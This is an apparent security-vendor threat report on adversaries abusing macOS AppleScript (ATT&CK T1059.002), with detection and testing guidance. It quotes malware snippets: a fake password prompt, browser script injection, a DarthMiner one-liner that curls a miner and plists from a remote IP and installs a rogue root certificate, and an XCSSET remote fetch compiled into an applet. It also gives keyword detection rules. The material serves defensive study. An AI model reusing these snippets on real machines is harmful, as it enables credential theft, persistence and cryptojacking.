Skip Navigation
Get a Demo
 
 
 
 
 
 
 
 
 
 

T1059.002

AppleScript

Adversaries continue to abuse macOS’s native scripting interpreter, AppleScript.

Pairs with this song
 

Analysis Icon

Analysis

 

Gaining execution on macOS can be noisy. When binaries are dropped to disk, there is ample opportunity for defenders to respond, be it via traditional static-based detection or more modern process-centric behaviors. It’s for this reason that adversaries tend towards a “Living off the Orchard” (LOOBin) approach, which assumes the host has only factory software installed. Native Open Scripting Architecture (OSA) languages like AppleScript offer immensely powerful system automation and Objective-C bridging functionality that enables execution, defense evasion, and more. In fact, the prevalence of adversaries abusing OSA was pressing enough that it prompted us to chat about it for an entire hour with our friends from Jamf and MITRE.

How do adversaries leverage AppleScript?

AppleScript, like any other scripting language, offers capabilities like variables, control flow, commands, and more. However, where it and other OSA-based languages really shine is in the ability to automate the system and call native APIs. This is why adversaries are drawn to the language, along with the defense evasion properties associated with in-memory execution and run-only scripts. We’ve seen adoption across malware families ranging from adware to remote access trojans (RAT).

Adversaries have several distinct variations to enable AppleScript execution, each with their own distinct characteristics:

  • Use of the osascript binary or shell scripts: This is by far the most common example and the easiest to detect. This variation is simply the user executing AppleScript in-line or through a file or inter process communication (IPC) at the command line via the /usr/bin/osascript LOOBin.
  • The NSAppleScript/NSUserAppleScriptTask APIs and OSAKit framework: The programmatic execution of AppleScript code, which occur in more advanced use cases largely for defense evasion from an agent payload.
  • Applets: These are becoming a more frequent alternative to traditional Objective-C, Swift, Go, and other compiled payloads. Simply put, applets are “compiled” OSA code, a thin Mach-O wrapper, and an application bundle structure. For an in-depth look at applets themselves, read our blog on Application Bundle Manipulation, which explores their use by the authors of XCSSET malware.

 

Next, we’ll go through some examples of adversaries leveraging each of these variations.

Variation 1: osascript

This first variation is characterized by executing AppleScript code in-line or from a file or IPC via the /usr/bin/osascript LOOBin. It typically happens early in the attack for staging or persisting resources. Importantly, adversarial use of AppleScript here is relatively easy to detect.

In the most simple case, if an adversary needs to grab the user’s login password, for example, they might do something similar to MacStealer’s implementation. Here they leverage osascript to execute AppleScript code in-line, generating a basic dialog box.

osascript -e display dialog "MacOS wants to access the System Preferences," with title "System Preferences" with icon caution default answer "" with hidden answer

Or in the case of Pirrit adware, the adversary leverages AppleScript to manipulate (restart in this case) Firefox, Chrome, or Safari for their changes to take effect.

#!/bin/bash

cd $(dirname $0)
killall firefox
relaunch_firefox=$?
killall "Google Chrome"
relaunch_chrome=$?
killall Safari
relaunch_safari=$?
sleep 2
./BrowserEnhancer.app/Contents/MacOS/BrowserEnhancer $1 $2 $3 $4 $5

if [ $relaunch_firefox -eq 0 ];
then
    osascript -e "tell application \"firefox\" to launch"
    sleep 1
    osascript -e "tell application \"firefox\" to close windows"
fi

if [ $relaunch_chrome -eq 0 ];
then

    open -a "Google Chrome" -g --args --no-startup-window
fi
exit 0

Later on in its intrusion cycle, Pirrit leverages AppleScript to inject JavaScript into the user’s browser (here you can see Safari and Chrome samples doing this). This will be executed via /usr/bin/osascript in script form as well.

global _pid
set _pid to "pid_value_to_replace"

repeat
    <event_XFdrljct> {}
end repeat

on <event_XFdrljct> {}
delay 0.5
try
    if is_Safari_running() then
        tell application "Safari" to set page_source to do JavaScript "document.body.innerHTML;" in current tab of first window
        if page_source does not contain _pid then
            set theURL to URL of current tab of first window
            if theURL is not equal to "about:blank" then
                tell application "Safari" to do JavaScript "var pidDiv = document.createElement('div'); pidDiv.style.display = 'none'; pidDiv.innerHTML = '\" & _pid & '\"; document.getElementsByTagName('body')[0].appendChild(pidDiv);" in current tab of first window
                tell application "Safari" to do JavaScript "var js_script = document.createElement('script'); js_script.type = 'text/javascript'; js_script.src = 'script_to_inject'; document.getElementsByTagName('head')[0].appendChild(js_script);" in current tab of first window
            end if
        end if
    end if
end try
end <event_XFdrljct>

on is_Safari_running()
tell application "System Events" to (name of processes) contains "Safari"

Furthermore, OSX.DarthMiner (a RAT) leverages AppleScript to download and install EmPyre, persist as a Launch Agent, install XMRig, and install a man-in-the-middle (MitM) certificate.

osascript -e "do shell script "networksetup -setsecurewebproxy "Wi-Fi" XX.XXX.XXX.XXX 8080 && networksetup -setwebproxy "Wi-Fi" XX.XXX.XXX.XXX 8080 && curl -x http://XX.XXX.XXX.XXX:8080 http://mitm.it/cert/pem -o verysecurecert.pem && security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain verysecurecert.pem" with administrator privileges" cd ~/Library/LaunchAgents curl -o com.apple.rig.plist http://XX.XXX.XXX.XXX/com.apple.rig.plist curl -o com.proxy.initialize.plist http://XX.XXX.XXX.XXX/com.proxy.initialize.plist launchctl load -w com.apple.rig.plist launchctl load -w com.proxy.initialize.plist cd /Users/Shared curl -o config.json http://XX.XXX.XXX.XXX/config.json curl -o xmrig http://XX.XXX.XXX.XXX/xmrig chmod +x ./xmrig rm -rf ./xmrig2 rm -rf ./config2.json ./xmrig -c config.json &

The flexibility and power offered by AppleScript has also extended to red teamers with the Apfell and Poseidon Mythic agents (just to name a couple). For example, Apfell’s entire implementation is in JavaScript for Automation (JXA)—another OSA language and sister language to AppleScript—which we also discussed at length in our webinar.

Variation 2: NSAppleScript and OSAKit

Here we’re referring to the programmatic execution of AppleScript via the NSAppleScript/NSUserAppleScriptTask API and OSAKit framework. The functions you’ll largely be concerned with include:

NSAppleScript

 

OSAKit

 

NSUserAppleScriptTask

 

In 2017, the Snake trojan abused AppleScript’s ability to execute code as the root user. By abusing the do shell script’s with administrator privileges parameter, Snake was able to display a generic dialog requesting authentication. In this case, the ./install.sh script will run with root privileges.

int _main(int arg0, int arg1) {
    rax = [NSBundle mainBundle];
    rax = [rax retain];
    rax = [rax bundlePath];
    
    rax = [NSString stringWithFormat:@"'%@%@'", rax, @"/install.sh"];
    
    var_A8 = [NSString stringWithFormat:@"do shell script \"%@\" with administrator 
              privileges", rax];
    
    var_B0 = [[NSAppleScript alloc] initWithSource:var_A8];
    var_188 = [var_B0 executeAndReturnError:&var_B8];

  // ...
}

Additionally, Patrick Wardle pointed out that the authors of OSX/Dok progressed things a bit further by persisting via a login item. AppleScript’s simplicity and power shines through here yet again, showcasing essentially in one line how to persist using Apple’s latest BTM (Background Task Management) service.

osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/executable", hidden:false}'
void -[AppDelegate AddLoginScript](void * self, void * _cmd) {

   r14 = [NSDictionary new];
   r15 = [[NSString stringWithFormat:@"tell application \"System Events\" to make
         login item at end with properties {path:\"%@\"}", self->needLocation] retain];
   rbx = [[NSAppleScript alloc] initWithSource:r15];
   var_28 = r14;
   [rbx executeAndReturnError:&var_28];
   return;
}

The Poseidon Mythic Agent (written in Go) also has the ability to execute OSA code (albeit JXA) via OSAKit’s executeAndReturnError function.

// ...
NSString *codeString = [NSString stringWithUTF8String:s];
OSALanguage *lang = [OSALanguage languageForName:@"JavaScript"];
OSAScript *script = [[OSAScript alloc] initWithSource:codeString language:lang];

NSDictionary *__autoreleasing runError =nil;
NSAppleEventDescriptor* res = [script executeAndReturnError:&runError];
// ...

Variation 3: Applets

Applets, for all intents and purposes, are “apps.” Simply put, they’re “compiled” OSA code, a thin Mach-O wrapper, and an application bundle structure. This makes them an ideal candidate in which to conceal malicious code. We’ve explored this variation in-depth with our research on application bundle manipulation. However, the key point to understand is demonstrated by XCSSET’s procedures.

In the following example, you can see that the authors compile a “run only” applet with osacompile -x. Compiling an applet in this way, as “run only,” is a form of obfuscation that helps to evade static analysis. We’ll point the reader to the aevt_decompile tool developed by SentinelOne’s Phil Stokes if you happen to come across any examples.

 

set payload to quoted form of (do shell script "curl -ks https://" & domain & "/agents/scripts/screen.applescript")


do shell script "osacompile -x -e " & payload & " -o " & quoted form of tempApp

set targetDest to (getPathForBundleId(appID)) & "/Contents/MacOS/"
set targetFiles to {tempAppFile, chkdsAppFile}

The RustBucket malware discovered by Jamf Threat Labs (and thought to be connected to the BlueNoroff threat actor) was distributed as an unsigned applet named Internal PDF Viewer.app. This technique, masquerading as a PDF viewer, can trick the user into executing the malware and unwittingly compromising their machine.

A list of in-the-wild examples of malware abusing AppleScript

IdentifiedVariantClassification
2017OSX.PirritAdware
2017SnakeTrojan
2017OSX/DokRAT
2018OSX.DarthMinerRAT
2019OSX.Pirrit (second variant)Adware
2020OSX.EvilQuest / ThiefQuest Stealer
2020XCSSETRAT
2021OSX.OSAMinerCryptojacking
2023RustBucketStager / RAT
2023Atomic StealerStealer
2023MacStealerStealer
2023Geacon stagerStager
2023MetaStealerStealer

In System Settings.app” → General → Sharing, ensure that Remote Application Scripting is disabled. This option can be configured by MDM and is largely a legacy power user feature. Additionally, users can be tricked into running malicious scripts from the abuse of the AppleScript URL handler. Users should be trained not to proceed with software installs from suspicious looking or low reputation websites. For example, in our “Exploring the Dark Arts on macOS” webinar, we simulated a user being tricked into running a malicious script under the assumption they’re getting special preview access to a fake Apple product called “iCloud Pro.”

An example of a malicious phishing site: “iCloud Pro”

Screenshot of malicious phishing site masquerading as iCloud

The user confirmation dialog presented by macOS:

The user confirmation dialog presented by macOS after accessing phishing site

How one of these scripts could present itself to the user. Nothing scary on the surface.

Applescript snippet from phishing site

But, scroll down and you’re given an idea of what the adversary is doing here:

malicious code in AppleScript from phishing site

Visibility icon

Visibility

Note: The visibility sections in this report are mapped to MITRE ATT&CK data sources and components.

Process monitoring

When looking to gain visibility into the adversarial use of AppleScript, Endpoint security will be your best friend. In particular, a lot of insight can be gained from enriched EXEC (process execution) event telemetry alone: ES_EVENT_TYPE_NOTIFY_EXEC / ES_EVENT_TYPE_AUTH_EXEC.

Module monitoring

However, in more advanced cases visibility into MMAP (memory mapping) events will provide the highest resolution: ES_EVENT_TYPE_AUTH_MMAP / ES_EVENT_TYPE_NOTIFY_MMAP.

 

VariationTelemetry needed
/usr/bin/osascriptProcess
NSAppleScript/NSUserAppleScriptTask API/ OSAKit frameworkProcess and memory mapping
AppletProcess and memory mapping 

Collection Icon

Collection

Note: The collection sections of this report showcase specific log sources from Windows events, Sysmon, and elsewhere that you can use to collect relevant security information.

Endpoint security

We have largely focused our collection on endpoint security for detecting malicious use of AppleScript. In particular, it’s important to notice that your monitoring solution will need to be able to at least collect both ES_EVENT_TYPE_NOTIFY_EXEC and ES_EVENT_TYPE_NOTIFY_MMAP events to get the best results across variations.

Mac Monitor

Mac Monitor provides an excellent platform for us to test visibility. However, you’re free to utilize any ES monitoring solution collecting both ES_EVENT_TYPE_NOTIFY_EXEC and ES_EVENT_TYPE_NOTIFY_MMAP events. We’ve taken screenshots of Mac Monitor’s visibility of these events below. However, we encourage you to try it out for yourself!

NSAAppleScript

Mac Monitor screenshot of NSAppleScript event details

Mac Monitor screenshot of NSAppleScript event facts

Applets

Mac Monitor screenshot of Python 3.10 download

Mac Monitor screenshot of Launch services event alert

Mac Monitor screenshot of applet event facts

Icon-threat detection

Detection opportunities

Based on the examples we’ve listed above, we can go ahead and start developing some of those detectors. Note that this is just a sample, for an in-depth look at the detection resolution of our full scope T1059.002 AppleScript AtomicTestHarness, take a look at our blog introducing POSIX AtomicTestHarnesses. 

Mac AppleScript input prompt

Adversaries leverage AppleScript to try to steal the user’s login password. This analytic attempts to detect that activity via the first variation.

command_includes ('osascript'  && 'display dialog' && 'password')

In-memory downloading and compiling of applets as payloads

This analytic uses a single ES_EVENT_TYPE_NOTIFY_EXEC event and looks for the the execution of curl, |, or osacompile commands.

command_includes ('osacompile'  && '|' && 'curl')

Lastly, another detection opportunity based on an internal assessment we conducted would be URL monitoring. AppleScript code can be executed (with user consent) though a URL handler. For example: applescript://com.apple.scripteditor?action=new&script=. When a user clicks a link like this macOS, will present a dialog asking if the user really wants to run this script. If they click the “run” button, they could inadvertently execute a malicious script.

iCloud AppleScript editor prompt

iCloud AppleScript editor prompt

Testing Icon

Testing

Start testing your defenses against AppleScript using Atomic Red Team—an open source testing framework of small, highly portable detection tests mapped to MITRE ATT&CK.

Getting started

View atomic tests for T1059.002: AppleScript. Alternatively, check out our POSIX AtomicTestHarness for T1059.002: AppleScript. The tests for this technique include five variations covering: stay-open-scripts, applets, shell scripts, command line, and NSAppleScript/OSAKit. Additionally, a section of our Open Scripting Architecture webinar was dedicated to an in-depth walkthrough.

Getting started is easy, you’ll just need to have Python 3.10+ along with Xcode Command Line Tools (for gcc). See the screenshots above in the collection section to get a good idea of the data you can expect to see from these tests.

pip install posixath
python -m posixath macos -t T1059_002 -k "nsapplescript"

Review and repeat

Now that you have executed one or several common tests and checked for the expected results, it’s useful to answer some immediate questions:

  • Were any of your actions detected?
  • Were any of your actions blocked or prevented?
  • Were your actions visible in logs or other defensive telemetry?

Repeat this process, performing additional tests related to this technique. You can also create and contribute tests of your own.

 
 
Back to Top